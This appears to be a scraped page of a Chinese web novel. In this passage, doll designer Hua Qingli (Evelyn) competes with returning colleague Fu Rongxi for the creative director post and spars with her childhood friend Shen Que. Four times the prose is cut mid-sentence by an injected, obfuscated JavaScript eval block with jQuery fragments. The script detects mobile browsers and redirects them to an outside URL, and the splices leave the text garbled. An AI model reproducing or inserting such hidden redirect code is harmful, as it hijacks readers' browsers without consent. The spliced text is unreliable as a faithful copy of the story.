“那我不打扰你们了，我自己过去。”lvy说完，匆匆挂了电话，仿佛得知了什么不得了的事情一样。 花清漓一脸奇怪地收起手机。半天不出声的沈确上前道：“不是说你那个学姐这几天就该去你们工作室了吗？景爷有没有跟你说你那个学姐过来是什么职位？” “没说……”花清漓提到这件事神色变得复杂，“他不说我也知道，他们就是为了把学姐叫回来压我的。到时候，她不管是什么职位，景爷给她手上的权利一定会比我手上的多。一定是这样……”她说到最后一句时，语气无比肯定。 21.21 第二天一早，花清漓抵达工作室时，一进自己办公室就看见一个熟悉的女人。 这个女人个子高挑，一头长发用一根黑色木质发簪盘在脑后。上身套着一件黑色老钱风西装外套，腰间系着一条黑色金属扣细腰带。下半身是一条黑色包臀长裙，脚踩一双黑色尖头高跟鞋。此刻正捧着花清漓的设计手稿册坐在办公桌前时不时地翻动几下。 花清漓上前把包搁在办公桌上，不冷不热地向面前的人打招呼：“学姐来了怎么也不让人跟我说一声？” 正在翻看设计手稿的傅容兮闻声，头也不抬地回应道：“小朋友，既然长大了，进了社会开始上班，就要遵守单位纪律。Evelyn，你迟到了。” 花清漓不屑地暗自在心里翻了个白眼，脸上却依旧挂着礼貌的微笑：“上班时间是上午十点到下午五点。”她说着，瞄了一眼手机屏幕上的时间，时间刚好跳到了十点整。她继续道：“学姐，我并没有迟到。还有，这里是我的办公室。学姐你要是没有什么事的话，你现在可以出去了。” 坐在办公桌前的傅容兮依旧没有动，丝毫没有要让开的意思。只是笑着对花清漓道：“景爷把我请回来，就是让我当创意总监的。Evelyn，论资历我比你更合适。” 花清漓最讨厌有人用资历压自己。她皮笑肉不笑地盯着傅容兮，郑重其事地提醒道：“难道没有人跟学姐你说过吗？想要留在我们工作室，凭的可不是年龄而是实力和业绩。全公司只有我一个人能连续两年保持业绩第一。我也想知道有谁能坐我这个位置。如果你能用实力把我拉下来那我无话可说，但如果你要用所谓的资历来压我，那不好意思，整个工作室除了我师父，谁都别想使唤我、谁都别想霸占我创意总监的位置！” 傅容兮看着花清漓充满野心的眼神，面露尴尬但很快又转变为若无其事的笑容起身来到花清漓身旁道：“小朋友，你应该好好想想，景爷为什么突然把我请回来。” 她说完，推开门离开办公室。 花清漓看着傅容兮的背影，暗自在心里对景爷竖了个中指。 不等花清漓坐下，南流景就捧着平板冲进她的办公室道：“师姐，师父说有新项目做。” “什么项目？”花清漓一边打开电脑一边坐下问他。 南流景在平板上翻出一则消息页面递到花清漓手里：“泉亭马上要举办一场公开大型人偶展，设展场地在师父的停雲阁！” 花清漓接过平板，看了一眼人偶展创意主题和参展作品要求：“＇怪诞童话镇''？要求设计出连带布景的大全套特体石塑粘土人偶（尺寸不限），人偶素体要求局部雕花；造型、布景要求紧贴怪诞、童话、小镇三项主题。如果有特殊创意的配饰，比如镜子、首饰盒等，都会成为加分项……” “怎么样？”南流景一把捞回平板道，“师父说让你和容兮姐一起参加，为这次参展设计人偶。谁能拿到第一名，谁就是下一任总监。” “不怎么样。”花清漓抬手揉了揉太阳穴，“师父这个提议，景爷什么态度？他那种人，和Donald平起平坐就已经够他受的了，现在连我和傅容兮都可以光明正大地争他这个位子，我不信他能坐得住。” 南流景听完花清漓的话，仔细回想道：“嗯……我记得师父还说什么＇两个选择太少，三个或许会好一点……''之类的话。” 花清漓明白师父的意思。无非是觉得三角形具有稳定性呗，她和Donald之间竞争得还不够激烈，现在加上傅容兮，或许这才是师父想看到的。既然景爷都愿意把总监的位置让出来，那他一定有后手。花清漓抬手烦躁地搓了搓头发，心中忍不住暗骂：上个破班真累啊。 “我明白了。”花清漓摆摆手，示意南流景先出去。 “那我走了，中午要给你带午饭吗？”南流景倚在门槛上问她。 花清漓思索片刻，道：“没什么胃口，帮我到楼下轻食餐厅随便买一份就好了。” “行。”南流景推开门潇洒地晃了出去。 总监办公室。 傅容兮从花清漓的办公室败兴而归，冷着脸坐在沙发上对景爷道：“你到底是怎么管理的？Evelyn那么任性居然还能让她一直待在创意总监的位置上？” 一身灰色西装的景爷面露尴尬，将一杯咖啡递到傅容兮手边，陪笑道：“容兮啊，你也知道，Evelyn是从小被上面两位''老爷''带在身边长大的，Evelyn对这两位比自己亲生父母都亲近。她的任性不都是两位＇老爷''惯出来的嘛！我们下面这些人哪能管得了她啊……” 傅容兮不屑地看着景爷，嘲讽道：“你一个总监却被一个小朋友骑在头上，你真是个笑话。” 景爷尴尬地替自己辩驳：“Evelyn是整个团队的摇钱树啊，这些年来整个工作室只有她一个人设计的人偶销量最高。DH&D从创立的第一天起，升职就是靠实力和业绩说话的……Evelyn连续两年业绩第一，至今还没有人能把她比下去……所以，''小朋友''确实有任性的资本。这是上面两位''老爷''给第一名的特例，换做谁有这个实力，待遇都是一样的。” “呵。”傅容兮冷笑一声，又问他：“那你告诉我Donald那家伙是那一边的人？你把我请过来，我总不能连个使唤的人都没有吧？” “诶，明白！”景爷陪笑道，“我和Donald说一声，让他在新项目里全力配合你，任你差遣！” 听到景爷这么说，傅容兮才露出一个满意的表情继续要求道：“既然想要我跟Evelyn PK，可以，那既然Evelyn有办公室让她静心发挥，我也必须要有一间办公室才行？你说对吧，景爷？” 景爷脸上的笑容一僵，问：“可是我们工作室已经没有空房间了……但是如果你不介意的话，可以先用我的办公室，我这两天再看看能不能给你整理一间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114661|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办公室出来……反正我的办公室很大，你觉得呢？” “那就辛苦你了。” “应该的……”景爷脸上赔笑，心中却暗自接了一句“我活该的”。 花清漓在办公室收到来自南流景的信息： 【容兮姐去了景爷办公室告状［生气表情］，她就是景爷特意请回来欺负你的吧？听说是Donald的主意呢，真是好团结的男人。［生气表情］】 看完这则信息，花清漓既好笑又无奈地摇了摇头，回了一个“少管闲事”的表情包后，不再搭理南流景。回到自己的绘画工作台前开始着手“怪诞童话镇”参展作品的整理。 花清漓历年来所产出的人偶中，有三分之一的作品都能完美符合参展要求。 她走进手作室，正好看到自己上次设计的，两分尺寸“骨鱼”的无妆素体。一时有了新想法。 在一旁踩缝纫机的服装打板师烟烟看到她，停下手中的动作跟她打了个招呼：“Evelyn？你是来视察我的工作吗？我可没有偷懒，缝纫机都快被我踩冒烟了！” 花清漓被烟烟逗笑，道：“不是，师父让我挑一些人偶送去参展。你知道＇怪诞童话镇''人型展''马上就要举办了吧？” 烟烟回想片刻，好想是有这么个事来着。 “我上次不是刚把那只两分骨鱼的大全套做完嘛，我就想把她送去参展。正好我最近设计了一些小玩意儿，我准备一起带过去。”花清漓掏出手机翻了翻自己最近做的六分人偶和粘土娃娃头choker照片递给烟烟看。 造型各异的粘土娃娃头choker一下子就吸引了烟烟的注意力。她好奇地接过花清漓的手机道：“Evelyn，你还会做choker啊！你怎么没说过？我最近很喜欢这些东西呢！” “做这个对我来说倒是比做一整个人偶轻松多了。我会试着多做一些，到时候一起送去参展。”花清漓考虑道。 “我也会做啊！”烟烟说到choker一下子来了劲儿，自荐道：“让我做吧！我也做了很多，可以一起拿去参展吗？” 花清漓有些惊讶地看向烟烟，笑道：“你会做你不早说！那就你来做吧，到时候参展你跟我一起去，这样我也有帮手可以帮我布景了！” “好啊好啊！”烟烟一脸兴奋地答应下来。 “等我消息！”花清漓朝烟烟做了个打电话的手势后，转身继续摆弄“骨鱼”的无妆素体。 骨鱼贩售的那五体都已经制作完毕，这一套是花清漓做出来留在工作室用作展示的纪念品。当然，目前还是半成品。 她把骨鱼的素体分成两次搬上工作台。白色的石塑粘土两段素体，共计一米二的长度。抱在手里的重量和一个幼儿园小朋友差不多。 接着，她从桌案上拿出一柄刻刀朝着骨鱼的胸腔和腹部分别划了两个不规则长方形的圈。随后，用雕刻弯刀一点一点将圈里的粘土层削掉。 22.22 骨鱼的腹部被掏出一个大洞。花清漓用颜料将骨鱼的腹腔刷成红色，接着又拿来一包崭新的石塑粘土拆开，用手将粘土模仿鱼脊骨搓成段后塑形。整段鱼脊骨制作完成后，花清漓将其塞进了骨鱼的腹腔。随后又用色粉给鱼脊骨上妆，让它看起来更加真实。 做完这一切，窗外的天色也逐渐暗淡。然而她手上的动作并没有就此停下。除却腹腔，花清漓把整条鱼尾的鱼骨都用石塑粘土重新包裹塑形，最后在鱼尾上留出两个巴掌大的坑洞，露出里面两段鱼尾的骨头，和腹部的脊骨一样用色粉上妆完毕。还有部分细节需要继续精进，但此刻的花清漓已经没了耐心。她莫名有一种不好的预感，可她自己一时半会儿也说不上来。 花清漓开了灯独自靠在椅子上休息。现在已经到了下班时间，办公室外的同事们也都陆续下班离开。大家都知道她的工作习惯，在花清漓没有自行离开工作间之前，不会有人前来打扰她的创作。 她靠在椅子上休息，门外传来南流景的敲门声：“师姐？你吃饭了没？沈确让我给你送饭。” 花清漓听到沈确的名字，起身上前去开门。 “当啷——”南流景捧着一个保温袋一脸吃瓜的表情将其递给花清漓，“你们俩不是经常吵架吗？他居然会给你送饭？难道说，你们俩就是那种‘相爱相杀’的小情侣？” “别学个词就乱用，罚你一个星期不许玩旅行青蛙。”花清漓笑着威胁道。 “什么？你好狠的心！”南流景抗议道，“我的蛙儿子比你那小助理懂事多了，你凭什么不许我玩！” 花清漓好笑道：“我看你对lvy意见很大嘛？” “呵呵。”南流景也不否认，干笑两声以示回应。 “你为什么对她意见那么大？她都已经不在这儿了，你对她到底有什么意见就直接和我说吧。”花清漓从办公桌的抽屉里拿出一把零食放在南流景面前，摆出一副洗耳恭听的样子。 南流景看到零食很快就被收买，抠着手指小声道：“哎呀，我也不是个喜欢嚼舌根的人……就是有几次在楼下咖啡厅看见她和张染那家伙待在一起有说有笑的。张染当年就是你一手带出来的人，结果分组的时候还不是弃你而去？他这几年在景爷手底下混的也不见得多好。这段时间工作室不是合并了嘛，他倒是很自来熟，跟两边的人都挺亲近的。MD合并之前是你娘家，你和大家亲近我们能理解。但张染这墙头草倒是有点本事，把大家都哄得乐呵呵的。” “所以你觉得lvy也会这样？”花清漓翻开平板反问道。 “反正我不喜欢她。”南流景撇撇嘴反驳道。 花清漓笑着摇了摇头，对南流景道：“看来你还不够了解lvy和张染，想做墙头草，lvy可没有这个本事。她的病可没法让她有一个强大的精神力；至于张染，他做任何决定都是从自己的利益出发的，一旦察觉到某个人或某件事无法给自己带来利益或触碰到自己的利益，他就会对此弃如敝履。如果直接告诉lvy她是听不进去的，就让她吃点苦头长长记性好了。反正她现在已经不怎么来工作室上班了，我也没那么多精力管她。” “那我先走了，‘沈少爷’让我提醒你记得吃饭！”南流景起身，指了指桌面上的保温袋提醒完，转身离开花清漓的办公室。 目送南流景离开，花清漓才打开那只保温袋，将里面的便当盒取出来。 今天的便当一看就是沈确亲手做的，没有任何蔬菜，非常符合花清漓对沈确以往下厨习惯的印象。 她尝了一口，味道还不错。 而沈确也正好在这时打来了视频通话。花清漓随手接通，将手机竖着靠在桌面的水杯上对视频里的人道：“沈少爷，不是所有人都像你一样排斥蔬菜的。虽然我做饭没你做得好吃，但在下好歹知道什么叫营养均衡。” 沈确笑道：“不想吃就自己做啊。先说好了，炸一次厨房500块。” 花清漓一听就来了气：“你是有毛病吗？我什么时候炸过厨房了？我做的饭虽然没有你做的好吃，但我也不至于炸厨房好吧。哪天我真把你家炸了然后给你500，到那时候你就老实了。” 被花清漓骂的沈确也不生气，反而笑着问：“那么请问这位’客人‘，下次想吃什么蔬菜呢？” 花清漓随便报了几个蔬菜敷衍他。 沈确自然听得出花清漓语气中的敷衍之意，只问：“今天累不累？晚上我去接你，到家给你做？” “今晚我可能要加班。”花清漓扫了一眼工作台上的人偶素体无奈道。 “没关系，”沈确笑了笑，“要是太晚还没下班，你给我发信息，我去接你。安心工作吧，挂了。” “好。”花清漓挂断视频通话，三两下将便当吃完，将便当盒拿出去清洗干净后才回到工作台前继续对那只人偶进行改造。 此时此刻，景爷的总监办公室。 傅容兮拿着社内往年出品的人偶照片翻看，其中有五分之四是花清漓的设计。 最终，傅容兮的目光落在花清漓两年前设计的螺钿系列人偶上。她记得花清漓就是靠这个系列一炮而红的，这个系列的初版人偶至今还被保存在博物馆里。这曾是花清漓最耀眼的荣耀。 傅容兮翻开手机相册，里面是两年前D社大火现场存留的监控视频。里面清楚地拍到了花清漓为保护自己的手稿返回火场的整个经过。傅容兮知道这场大火让曾经整个行业实力最强的二次元玩偶设计师就此退出设计界，也让曾经默默无闻的人型师Evelyn带着她的创意从此走进大众视野，成为了bjd圈有名的创作人型师。而当年那位参与救援的消防员却因此昏迷了整整两年。 她一直知道花清漓自私，但她其实一直不觉得花清漓是会用人命替自己铺路的人。至少她目前给自己的感觉是这样的。但愿花清漓能亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127659|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口告诉自己当年的真相。 “容兮啊！”景爷捧着一杯奶茶从门外走进来，“新项目的创意有什么新想法了吗？” 傅容兮关掉手机相册，靠在椅子上回答道：“想法嘛，当然是有的。”说着，随手拿了平板翻开自己的设计稿递给景爷。 设计稿上的人偶，一个类似心型的头颅上生着两张脸，人偶的头发也用章鱼触须替代，与素头融为一体。躯干处也有章鱼触须从人偶的肚脐里爬出来。腿部更是有着精美的海浪浮雕。整个人偶造型怪异又大胆，十分吸睛。 “这么华丽的素体，通常只有Evelyn喜欢这么设计。”景爷看着这个设计图，忍不住用花清漓与之比较。 傅容兮就知道景爷会这么说。她也不恼，只道：“Evelyn总是有那么多天马行空的想象，这大概和她从小爱看漫画和动画片有关吧。得不到父母的爱，只能从别的东西上找安慰了吧。也不是不能理解她，毕竟上学的时候，就连家长会也是他们邻居家的哥哥顺便替代她父母参加的。更何况，慕云重老先生对待工作向来是很严肃的。Evelyn小时候在学人偶制作的时候应该也没少被慕云重老先生责骂吧。不过她那个从小一起长大的师兄倒是很疼她。” “原来如此，”景爷点点头，回想道，“Evelyn那位师兄叫林言蹊来着对吧？听说前两年在D社那场火灾里受了伤，右手和左腿都废了，现在在我们线下商铺担任销售呢。哎，多可怜的年轻人。” 傅容兮没有接话，而是拿回自己的平板继续精修自己的设计稿。 接下来的一周，花清漓和傅容兮都各自把自己关在工作间里足不出户，唯有实在熬不住的时候才会出来吃点东西。吃完后又很快回到各自的工作间内继续工作。除了晚上回去洗个澡，花清漓几乎要住在办公室里。 花清漓也不记得自己在工作间待了多久。当她饥肠辘辘地从工作间出来，才发现已经是第二天傍晚。同事们几乎都已下班离开，烟烟正好也从工作间内走出来。她在看见花清漓的一瞬间，有些惊讶地上前问：“Evelyn?昨晚MD家的Keder来接你下班，我看你好像不准备从工作间出来了，就让他先打电话给你问问。你有接过电话吗？” 经烟烟提醒，花清漓才拿出手机准备看消息，只是没想到刚拿出来，手机就因为没电而熄屏了。 烟烟见状，随手从口袋里掏出一个小巧的充电宝递给花清漓。 “谢谢。”花清漓接过烟烟手里的充电宝给自己的手机充上电。 “不用客气！”烟烟笑着摆摆手，“你要不要回去换身衣服？我帮你跟景爷请假。” “那太好了，一晚上没洗澡难受死我了。我先走了，等一下再回来。”花清漓仿佛看见了救星，抬手拍了拍烟烟的肩膀，回办公室拿了包就朝楼下奔去。 离开工作室，花清漓刚准备乘电梯就在电梯口碰上了沈确。 23.23 沈确捧着平板正在检查新品的建模，似乎并没有注意到自己身旁多了一个人。 花清漓也不想打扰他工作，只是按了楼层等待电梯抵达。 电梯很快抵达一楼，花清漓冲出电梯直奔家里去。 沈确家的门锁是指纹锁，自从他买下这套房子之后，门锁就录入了花清漓的指纹，方便她随时过来。 花清漓一进门就拿起衣服直奔房间里的浴室。 一直到她洗漱完、把换下来的衣服洗干净晾好，花清漓才套着一条黑色修身吊带裙，披着一头湿发从房间里出来。 花清漓身材偏瘦，一张清秀的鹅蛋脸上粉黛未施。那双杏仁眼略带倦意，眼下还有一小块淡青色的黑眼圈。她握着毛巾轻轻擦拭着头发上的水，想去找个吹风机吹头发，结果在浴室和房间里绕了一圈也没找到自己的吹风机放在哪。 她没办法，只好给沈确打去视频通话。 正在工位上修改建模的沈确倒是很快接通了视频，只是没想到印入眼帘的，是神色略带困倦的花清漓。看到她的湿发还披在肩上，顺着发丝滴落的水沿着她的锁骨慢慢向下滑落，浸湿她的领口。沈确有些不好意思地别过脸，连带着耳尖也不自觉地泛红。 花清漓没有到注意沈确的窘迫，只是举着手机左顾右盼地问他：“吹风机放在哪了？” “被我收在你那个房间更衣室的抽屉里了。你找找看。”沈确放下手机，看着电脑上的设计图道。 花清漓顺着沈确的指示，很快就找到了吹风机。她冲着视频里的人道了声“找到了”后，匆匆挂断电话开始吹头发。 挂断视频通话的沈确忍不住抬手捏了捏自己泛红的耳朵。这还是两人长大以后，他第一次看见这样的花清漓。 花清漓坐在房间里，一边吹头发一边看着手机上的信息。 发消息来的是南流景： 【师姐你昨天又通宵了？我刚才看见张染接了个电话就请假下楼去了，我正好去买零食，结果你猜我看见了谁！？】 花清漓看完这则消息，根本懒得猜，随手回复道： 【你一天天的不是养你那蛙儿子，就是盯着人家的八卦。人家lvy怎么你了？】 南流景发来一张偷拍的双人背影，花清漓点开放大，一眼就认出照片上的两人是lvy和张染。 这俩人该不会真谈恋爱了吧？花清漓对这些八卦倒是没什么兴趣，但想到lvy的病，花清漓还是有些替她担心。不知道张染这个自私的家伙知不知道lvy的病情。如果不知道，她真担心张染以后觉得lvy的病情拖他后腿就要和lvy闹分手。到时候lvy这傻丫头的抑郁症说不定更严重了。 可是……其实她也没有立场去管lvy。做什么、和谁谈恋爱都是lvy的自由，她一个外人哪里有资格管呢？自己的生活本来就已经够糟糕的了，她还是别把精力浪费在没有意义的事情上。与其管lvy的恋情，她还不如好好想想怎么让自己稳稳地坐在创意总监的位置上来得更有意义。 要说她为什么那么了解张染，无非是上学时期两人在同一所学校。花清漓亲眼见识过张染的为人处事。自从两人毕业之后，这些年也不怎么联系。 花清漓叹了口气，将手机随手扔在床上继续吹头发。 此时此刻，DH&D总监办公室内。 傅容兮坐在沙发上，对着正在喝奶茶的景爷不满道：“是你说让我回来帮你的，作为交换条件，你帮我女儿找治疗耳朵的专家。怎么样？我都回来一个星期了，你到现在也没给我提医生的事。” “容兮啊，”景爷放下奶茶神色为难道，“我帮你找了耳科专家，但是人家医生最近排期都满了，我都跟他谈好了，等他忙完就给你女儿动手术。” 傅容兮无奈地摇摇头：“我最近还有官司要打，我真的很忙的。我没心情陪你玩办公室权斗，我只想让我女儿的病可以快点好起来。” 景爷干笑了两声，上前安慰道：“知道你爱女心切。你女儿的感音性弱听是先天性的，我问了几个专家都说不好治啊。况且你女儿还有点自闭症，我真的尽力了！这次和''松塔家''的合作真的很重要，你就留下来帮我一次嘛！” 听到景爷这么说，傅容兮也忍不住黑了脸：“我还是那句话，我现在没心情跟你们玩办公室政治，我做的一切都是为了我女儿。如果你帮不了我，不好意思，那我也帮不了你。” 傅容兮说完，黑着脸起身出了办公室。 被晾在原地的景爷看着傅容兮离开的背影，忍不住小声道了句：“真是麻烦。” 花清漓回DH&D后，坐在办公室的沙发里听着南流景对今日工作内容的汇报：“上次直播贩售的新品第一仓已经陆续发货了。我们现在还不准备开第二仓。限定的两分骨鱼目前都还在做。还有……” “还有什么？”花清漓吹着头发上不耐烦道，“说话能不能不要老是说一半就停下来，你这样真的很讨厌。” 南流景撇撇嘴，继续道：“景爷跟你说过这次合作的甲方其实是松塔家吗？” “松塔家？”花清漓惊讶道。 “对啊。”南流景好笑道，“上次联名出了事大家都不太愉快，但好在你顺利解决了。和你联名的设计是他们家目前卖得最好的，现如今有二次合作的机会他们当然不会放过。毕竟你这个＇摇钱树''的实力至今为止都是有目共睹的。” 花清漓皮笑肉不笑地看向南流景：“我谢谢你夸奖啊。” “我说的是事实嘛……”南流景小声嘀咕道。 “lvy呢？没有递交辞职报告，也没有请假，去哪了？”花清漓朝着办公室玻璃外看了一眼，没有发现lvy的身影。 南流景看向窗户楼下，冷着脸道：“谁知道呢。她最近上班比在家还自由，旷工还不请假。真不想承认她是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152547|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲手挑一出来的人。” “每一个留在我身边的人都有她的价值。”花清漓透过玻璃看着楼下的人行道笑道，“谁用陪我来冲锋陷阵，谁留在我身边做个用来提醒别人＇Evelyn是个好人''的花瓶，我还是分得清楚的。不过这个＇好人''我还真是有点当腻了。” “你现在才想炒了lvy？”南流景翻了个白眼。 “谁说我要炒她了。”花清漓耸耸肩反驳道。 南流景听到这话目瞪口呆：“你还留着她？就为了彰显你的＇善良''？不是，你也有毛病？” 花清漓抬手朝着南流景的脑袋就是一巴掌：“没大没小。我知道她有精神病，根据劳动法，我炒她是犯法的。只能让她主动辞职。说来也奇怪，我明明都给她找好下家了，她居然还不明白我的意思。真不知道该说她单纯，还是该说她心思缜密。” “你轻一点，很痛诶！”南流景揉着自己刚刚被打的脑袋，朝着花清漓抱怨道。 “我知道你很痛，”花清漓看着南流景，一脸无辜道，“其实我就是故意的。谁让你乱说话，被别人听见了，那我的人设就崩了。” 南流景都被气笑了，想还嘴又不敢，只好在心里骂骂咧咧地准备走出去。 “等一下。”花清漓开口叫住了他。 南流景倚在门框上，一脸幽怨地回过头来看向她，等待她发号施令。 花清漓举着手机上前，要求道：“帮我注意一下傅容兮，关于她的身世背景、家庭关系，能查到多少就查多少。查出来马上告诉我。” “我又不是侦探。”南流景婉拒道。 “你不是侦探，但我可以给你钱去顾啊！我要赶在松塔家指明联名设计师之前，抓住傅容兮的把柄，让她把这个机会心甘情愿地让给我。”花清漓皮笑肉不笑地提醒道。 南流景听到花清漓的要求，摇着头感叹道：“好一个充满＇事业心''的Evelyn，真卑鄙。” 花清漓也不恼，反倒得意地笑道：“这就卑鄙了？那我也很擅长无耻呢。要论卑鄙无耻，我们几个同门还没有人能比得上我！” “你还骄傲上了？”南流景翻了个白眼，捧着手机嘲讽道，“沈少爷要是知道你的真面目，一定会刷新他的三观的。” “不让他知道就好了。”花清漓轻描淡写地回应道。一句话把南流景怼得哑口无言。 南流景带着“任务”丧气离去。 花清漓坐在办公室里，继续着昨晚那只人偶的改造。 她找来色粉给人鱼的素体继续上色。 谁料下一刻，南流景又折返回来对花清漓道：“不好了，景爷已经把傅容兮的设计稿交给松塔家了，他是不是从一开始就没打算让你的设计稿被Cade看到？” “你说什么？”花清漓意识到自己被摆了一道，气得从椅子上站起来问南流景：“Cade怎么说的？他们签合同了吗？” 24.24 “合同倒是还没签，不过Cade似乎有想和他们签合同的想法了。感觉也就这几天的事了吧。”南流景若无其事道。 花清漓被气笑了，她道：“我有那么让人讨厌吗？他们大费周章地把在家带孩子的傅容兮请回来，就是为了让她压着我？看他们那么偏心傅容兮，就那么怕我？我有什么值得他们防备的？那么想整死我？” 南流景继续道：“我看松塔家的那位还挺中意容兮姐的设计的，但是我刚刚在门外偷听的时候，听到Cade跟她说什么＇还有一些地方希望可以改善''。容兮姐问他想往哪方面改，Cade却说想要分段体，但是容兮姐的那个设计根本做不了分段体，只能做整段体。一旦做了分段的话，躯干处的雕花都得删掉。肚脐上的章鱼足也是。又会变成平平无奇的一只娃娃了。所以容兮姐怎么都不肯答应，Cade也只好暂时晾着她了。” “是吗！”花清漓的眼中闪过一丝狡猾，她笑着看向南流景，问他：“你知道为什么Cade会犹豫吗？” 南流景思考片刻，反问道：“难道不是因为还没看到你的设计吗？” 花清漓好笑地摆摆手，看着南流景解释道：“是因为钱啊！” “啊？”南流景不明白。 “学姐设计的素体是很特别没错，如果换做资深玩偶收藏家，说不定还真的会选她。不过她忘了一件事，”花清漓双手抱胸继续解释，“Cade本质是商人，最在意的是联名款能给自己赚多少钱。一个普通体人偶素体想要卖出去，可以加上好看的娃衣、假发、各种配饰一起卖。学姐做的素体是很好，但也只能卖素体加体妆，别的什么也加不了。或许在Cade眼里，能赚钱且够特别的人偶，才算得上是好东西吧。更何况，新人偶是只会上架他们的官店，他怎么可能让别家的人偶在自己的官店里喧宾夺主。” “那我们也准备开工？”南流景翻了翻手机上花清漓的设计稿问她。 花清漓深吸一口气，回到自己的工作台前对南流景道：“把设计稿发给他们，开工。三月前的订单不是已经开始陆续发货了嘛，看一下买家们的反馈，有没有快递导致娃娃受损的。如果有就尽快安排补发。” “好的。”南流景将花清漓的嘱咐一一记下，转身下楼通知大家。 不料南流景刚下楼，就看见所有人都忙得不可开交。 他随手拉过路过的平面设计师Mavis询问道：“你们都在忙什么？师姐这不还没让你们帮忙吗？” Mavis捧着平板朝总监办公室瞄了一眼，才向南流景解释道：“还不是景爷让我们帮容兮姐的忙。容兮姐说想看DH&D历年出品的人偶和销售数据报告，还有之前合作过的项目。我们已经整理了一部分给她送过去。不仅如此，她还要我们帮她一起做新人偶的素体。她要我们先做50体的量。” “这不还没上架嘛？她急什么？”南流景不解道，“我们上一批才刚出仓，有什么好急的。” “现在容兮姐的意思就是景爷的意思。”Mavis小声抱怨道。 就在这时，傅容兮从办公室里走出来对着众人道：“你们想太多，我只是看一看工作室历年出品过的人偶，好在新设计上避开这些元素。” “是吗？”花清漓正好从办公室出来，站在楼梯上居高临下地看着傅容兮，皮笑肉不笑道，“学姐想看可以直接来问我啊，资料我电脑里有存。何必这么兴师动众的。” 南流景摇摇头，转身离开工作室时，顺便帮花清漓约了一位私家侦探。 傍晚下班时，花清漓给沈确发了个不回家吃饭的信息，转而去了楼下的那家法餐厅。 收到信息的沈确撤回了原本编辑好约花清漓吃饭的短信。心思郁结地下楼准备找家餐厅吃晚饭，却在即将抵达那家法餐厅之前，远远地看见穿着黑色修身吊带裙的花清漓坐在靠窗的位置上，和她对面的男人似乎交谈甚欢。 那个男人长得也不怎么样。穿着一件深灰色的衬衫，下身是一条黑色的西裤。不知道使了什么手段，把花清漓哄得很开心。看着就很讨厌。 沈确在心中冷笑，下班不回家吃饭，就是为了在这里和别的男人吃晚餐？呵呵，花清漓，可真有你的！ 很快，花清漓对面的男人起身向她道别，花清漓居然也笑盈盈地和他挥手。甚至一直目送那个男人走出餐厅。 看着这一幕，沈确都被气笑了。这年头还有除了林言蹊以外的男人能入得了花清漓的眼了？既然这个男的可以，那为什么不可以是自己？烦死了。 沈确黑着脸走进餐厅，径直来到花清漓对面坐下。 正在玩手机的花清漓偶然间抬眸发现自己对面又坐了一个人，在看清来的人是沈确后，她笑道：“不好意思啊。我已经吃过晚餐了！” 沈确没有理会花清漓，而是找来侍应生重新点单。 花清漓见沈确不搭理自己，索性起身准备离开。 “站住。” 花清漓刚起身就被沈确叫住。她回过头来看向沈确，眉眼含笑。等待着沈确接下来的话。 “你和他什么时候开始的？伯母知道吗？他是做什么工作的？不要那么轻易相信男人，万一……”沈确问了一连串的问题，半天也不见花清漓回答。他不得不停下，看着花清漓的那笑盈盈的眼睛道：“你和他在一起就那么开心？他凭什么？他有什么优点吗？我怎么看不出来？” 花清漓明白沈确是什么意思了，她瞬间起了逗他的心思，因此回到座位上坐下回答道：“这么多问题，我先回答哪一个好呢？我和他是什么时候开始的？嗯……” 沈确别过脸，同时却竖起了耳朵。 “''他是做什么工作的？''”花清漓假装思考了片刻，“应该算是＇记者''吧；和他在一起开不开心，你看不出来吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152548|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈确被她最后一句给气笑了，阴阳怪气道：“伯父伯母知道你和他事吗？怎么连我瞒着？这么见外？” “很见外吗？”花清漓看着沈确的脸假装奇怪道。 “我们俩从小一起长大，我帮你把关不是很正常的吗？”沈确嘴硬辩解道。 花清漓有些失望，撇撇嘴小声地半开玩笑道：“还以为你会吃醋呢！” 